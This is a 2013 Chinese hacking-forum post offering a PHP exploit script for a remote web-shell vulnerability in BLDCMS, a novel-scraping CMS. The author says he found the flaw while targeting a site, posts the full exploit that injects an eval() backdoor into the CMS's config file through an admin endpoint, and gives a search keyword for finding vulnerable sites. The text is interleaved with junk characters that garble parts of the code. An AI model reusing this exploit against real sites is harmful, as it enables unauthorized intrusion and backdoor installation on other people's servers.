找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2422|回复: 0
打印 上一主题 下一主题

BLDCMS(白老大小说) Getshell 0day EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-26 20:49:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞: [9 Y7 ?5 T- p! |
- K1 {* A- d% L* |4 L) _- P6 ]& C

3 f5 r, n" d. K- I3 {! b6 q3 J- n, @话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 + P  i+ }5 j* ]# Z  t6 W6 H

; `; O+ |3 R+ g% s2 M$ V5 p: Q6 w# b既然都有人发了 我就把我之前写好的EXP放出来吧6 h3 H! |, C$ K7 r
; j' l2 A& c) I  `! R1 g9 C
view source print?01.php;">0 W1 J- E0 ^" y
02.<!--?php
& ~/ ?/ B- A6 s+ x( T03.echo "-------------------------------------------------------------------- \  z, Z6 P. B2 D6 e
04.
  S! a- w! g3 P05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP6 y7 m0 w. e3 H) b
06. " y( X  B! Z4 P9 h$ \0 {
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
% G7 k* v8 Y( r5 @& Q7 i08.
  S$ |/ q$ Z+ c1 |7 M7 t/ X4 ?09.QQ:981009941\r\n                                2013.3.21\r\n            
% Y5 `3 V2 Z" Y: Y5 H6 _# f8 t% R10.
9 w: q6 A% p+ z1 k1 \( E8 X% r11.
8 w" ^( _9 q0 v2 z' S12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
& J' `$ N; v: {$ l! Q5 k13.
: P. ^4 g. O* |/ x! }3 d14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
/ Q' p' r& n% D' z# O4 \0 ]4 K15.
7 R2 d. [+ R, Z0 W* H16.--------------------------------------------------------------------\r\n";2 Y6 j# p% i/ F
17.$url=$argv[1];, j! b4 y6 q5 R( |5 i
18.$dir=$argv[2];) q; v6 ^. B) o. J% E  M
19.$pass=$argv[3];1 \$ t, H. _. I  ~6 l
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
% L6 L" m% g0 X. U- y$ C. s21.if (emptyempty($pass)||emptyempty($url))$ C: q% N3 M  y9 J; H' ]- U/ G
22.{exit("请输入参数");}
, [) v" r  I9 Q& f23.else0 I) c/ b8 J1 L6 s6 U- `; A
24.{6 u6 K( D5 M+ M* l$ z% O
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
5 `; G8 g2 o7 N2 A26. $ M' H9 y2 B" b. f8 @% r( ~$ w
27.al;% s" b' d% S- U8 H, F5 Q
28.$length = strlen($fuckdata);; ^8 j; y& s  X. X
29.function getshell($url,$pass)
; M1 i. M3 F. P% P' ?2 i3 ?30.{- x/ i) o% i+ r- j
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
# o" M! l1 q  [, ^32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
" S; r$ W3 X/ e5 ]! G6 p, V. s33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
0 D" N- W$ M. n* n& u9 e34.$header .= "User-Agent: MSIE\r\n";
! A- f9 T' I+ k. N) w, l35.$header .= "Host:".$url."\r\n";
3 K% K  B9 o) C! k" l2 n  W2 l36.$header .= "Content-Length: ".$length."\r\n";0 T4 `1 |0 J! O5 [5 F1 G
37.$header .= "Connection: Close\r\n";
0 g( x9 t  E4 E' o: v! L) M38.$header .="\r\n";  ]4 Z0 D- S7 j  [; G( Q  ]2 u
39.$header .= $fuckdata."\r\n\r\n";
/ i9 H0 {% U+ ?* u1 W! [40.$fp = fsockopen($url, 80,$errno,$errstr,15);1 D. _' S- ?" L
41.if (!$fp)4 s/ q7 z$ D' ?* _  c( p0 p
42.{
  }2 H2 Q2 g* M9 a1 t9 T43.exit ("利用失败:请检查指定目标是否能正常打开");* \7 r! ^3 y+ E6 P4 J& C
44.}
2 ]3 B9 e" d4 c  q5 j5 e45.else{ if (!fputs($fp,$header))
& L9 W- O; S' h5 t$ m: P7 e46.{exit ("利用失败");}8 Y7 w: \1 k# K$ p8 M. `6 W4 O
47.else9 R2 W, l2 ~7 X) E7 ~. T0 O
48.{2 x! N& U: Q8 h; D! m( ^: E0 t
49.$receive = '';
% q$ B. r% ~; B50.while (!feof($fp)) {# Z, B4 ?' S2 L2 B' R' g2 f
51.$receive .= @fgets($fp, 1000);  d7 a4 U! T6 f  g: i+ \+ I' S
52.}$ Q" L5 I# s, T& _
53.@fclose($fp);( v) p) ?! A0 s  Y; t
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标8 H9 R# I7 a. |+ ~8 T# Y" O
55. ! ^$ r9 n  J5 N5 ?
56.GPC是否=off)";- C% v/ [7 ^( h7 t+ z: h
57.}}" I" E% A& Q1 L5 x1 c  ~& C" E' l
58.}
0 |' Q7 e6 B0 m, E59.}
; w( h# g1 \) x2 x2 u2 O$ N4 H60.getshell($url,$pass);
& r) V0 t- H' f# e  ?61.?-->, x  u0 e& {/ j5 C5 c) Z( H0 Q* y6 F
; S& l4 B4 c! u2 n- |

6 E6 r) E! i4 U . ]. f; @, d6 h0 i  b0 q+ f! v+ r% B
by 数据流) z+ t+ K7 @: l0 @  ]5 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表